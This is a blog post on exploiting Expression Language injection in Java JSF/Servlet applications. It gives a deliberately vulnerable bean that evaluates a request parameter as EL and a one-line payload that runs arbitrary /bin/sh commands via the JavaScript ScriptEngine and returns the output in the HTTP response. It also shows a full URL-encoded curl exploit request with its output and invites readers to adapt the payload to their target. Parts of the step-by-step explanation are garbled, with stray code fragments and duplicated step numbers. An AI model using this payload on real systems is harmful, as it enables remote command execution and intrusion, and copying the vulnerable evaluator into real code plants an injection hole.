Abusing EL for executing OS Commands
Expression Language injection
Wow! It may lead to remote command execution on modern Servlet environments. This was pointed out by Dan Amodio in 2012 with his art work exploit against Spring Double-Evaluation vulnerability (CVE-2011-2730). Herein he ported the exploitation technique presented in this Vulnerability Research Paper by Minded Security and Aspect Security in 2011 to newer Servlet versions reaching RCE (Remote Code Execution, which implies Remote Command Execution as well).In this blog post we discuss a different payload code to exploit an Expression Language Injection security issue in a reliable way. This is somehow the case during penetration tests of sensitive targets where it's important to not alter the local application by downloading external content or modifying the local file-system.
EL Injection example in a JSF Facelets Environment
index.xhtml gets “expression” parameter from the request and sends it to evalAsString():Hello from Facelets <br /> <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />
NewClass.java implements ELAsString() that an EL implementation that evaluates arguments dynamically:
import java.io.Serializable; import javax.el.ELContext; import javax.el.ExpressionFactory; import javax.el.ValueExpression; import javax.faces.bean.ManagedBean; import javax.faces.bean.SessionScoped; import javax.faces.context.FacesContext; @ManagedBean(name="beanEL") @SessionScoped public class NewClass implements Serializable { public static String ELAsString(String p_expression) { FacesContext context = FacesContext.getCurrentInstance(); ExpressionFactory expressionFactory = context.getApplication().getExpressionFactory(); ELContext elContext = context.getELContext(); ValueExpression vex = expressionFactory.createValueExpression(elContext, p_expression, String.class); String result = (String) vex.getValue(elContext); return result; } }
Why a One-Liner OS command shell payload?
The rules of this OS command shell game:
- Not rely on loading classes that are on external servers (e.g. Avoid Egress filtering, External class loading etc.)
- Work on a broad number of EL versions and servers (e.g. not only on Tomcat 8+)
- Executing an OS command
- Interactive output from EL injection: Os command output should be Redirected to the current HTTP response in-band
- Not write any file and or modify any other persistent resource
- Achieve all the previous with One single line of concatenated EL
Final payload
${facesContext.getExternalContext().getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}${session.getAttribute("scriptengine").eval("var
proc = new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start();
var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}
Payload Explained
Feel free to change it and modify it to fit your current target.1) Setting the charset:
System.out.println(URLEncoder.encode(pf.enc.encrypt("${request.getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}
2) Invoking ScriptManager constructor without arguments and we store the instance as a session object:
${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())},${session.setAttribute("scriptengine\",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
3) Redirect ScriptEngine output writer output to the Http Response writer input:
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory\").getEngineByName("JavaScript"))},${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
4) Call the eval() method for the engine "JavaScript" that accepts JS code as string (sometimes Jetty 8.2 gives a “java.io.Reader”) with the JS code that executes the runtime command:
${session.getAttribute("scriptengine").eval("
new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start()"))}
5) Getting proc standard Output and reading it via java.util.Scanner and printing it out
var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))
5) Closing the http response
${facesContext.getExternalContext().getResponse().getWriter().close()}
Is a Servlet Modern enough for a reliable RCE?
JSP/EL should be at least at version 2.2. EL version goes hand in hand with Servlet/JSP version which is dependent on the servletcontainer implementation/version used and also on the web.xml root declaration of your web application.
- Servlet 3.0 comes with JSP/EL 2.2 and we usually find those in Tomcat 7, Jetty 8.2, Jetty 9
- Servlet 2.5 comes with JSP/EL 2.1.
- Servlet 2.4 comes with JSP/EL 2.0.
- Servlet 2.3 comes with JSP 1.2 without EL.
In 2012 Dan Amodio from Aspect Security (http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection) discovered that “While performing a penetration test on a client’s application on Glassfish, I learned that the EL 2.2 added support for method invocation. Try and load the org.springframework.expression.spel.standard.SpelExpressionParser... We failed many times!”. Unfortunately EL 2.2 method invocation is sneaky and has several bugs in its implementation that do not make it behave properly.
The following one is the invokeMethod() implementation in Servlet 2.2 and is possible to see that it may not work if more than one argument is passed. This is a boring limitation since we can only invoke or call a limited number of methods:
private Object invokeMethod(Method m, Object base, Object[] params)
/* */ {
/* 764 */ Class[] parameterTypes = m.getParameterTypes();
/* 765 */ Object[] parameters = null;
/* 766 */ if (parameterTypes.length > 0) {
/* 767 */ ExpressionFactory exprFactory = getExpressionFactory();
/* 768 */ if (!m.isVarArgs())
/* */ {
/* */
/* 771 */ parameters = new Object[parameterTypes.length];
/* 772 */ for (int i = 0; i < parameterTypes.length; i++) {
/* 773 */ parameters[i] = exprFactory.coerceToType(params[i], parameterTypes[i]);
/* */ }
/* */ }
/* */ }
/* */ try
/* */ {
/* 779 */ return m.invoke(base, parameters);
If you are exploiting a web server different from Glassfish there is also an additional option: the Java JavaScript Engine. JavaScript Engine is blocked in Glassfish EL implementation but not in other servers such as Apache Tomcat 7 or Jetty.
JS Rhino Script Engine is supported in Java 6 and 7, Mozilla Nashorn Script Engine is available from Java 8. For more information:
Rhino: https://docs.oracle.com/javase/7/docs/api/javax/script/ScriptEngineManager.html
Nashorn: https://docs.oracle.com/javase/8/docs/api/javax/script/ScriptEngineManager.html
Since “ScriptEngineManager” has an empty class constructor this can be abused by the method invocation technique from EL 2.2 pointed out earlier.
Exploit Payload request:
n0def@n0def:/# curl
'http://localhost:8080/WebApplication/?&cmd=ls%20/&expression=%24{facesContext.getExternalContext%28%29.getResponse%28%29.setContentType%28%22text%2fplain%3b%0Acharset%3d\%22UTF-8\%22%22%29}%24{session.setAttribute%28%22scriptfactory%22%2c%22%22.getClass%28%29.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29%29}%24{session.setAttribute%28%22scriptengine%22%2csession.getAttribute%28%22scriptfactory%22%29.getEngineByName%28%22JavaScript%22%29%29}%24{session.getAttribute%28%22scriptengine%22%29.getContext%28%29.setWriter%28facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29%29}%24{session.getAttribute%28%22scriptengine%22%29.eval%28%22var%0Aproc%20%3d%20new%0Ajava.lang.ProcessBuilder[\%22%28java.lang.String[]%29\%22]%28[\%22%2fbin%2fsh\%22%2c\%22-c\%22%2c\%22%22.concat%28request.getParameter%28%22cmd%22%29%29.concat%28%22\%22]%29.start%28%29%3b%0Avar%20is%20%3d%20proc.getInputStream%28%29%3b%20var%20sc%20%3d%20new%0Ajava.util.Scanner%28is%2c\%22UTF-8\%22%29%3b%20var%20out%20%3d%20\%22\%22%3b%20while%0A%28sc.hasNext%28%29%29%20{out%20%2b%3d%20sc.nextLine%28%29%2bString.fromCharCode%2810%29%3b}%0Aprint%28out%29%3b%22%29%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.flush%28%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.close%28%29}'
Exploit Payload Response:
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swapfile
sys
tmp
usr
var
vmlinuz
vmlinuz.old
n0def@n0def:/#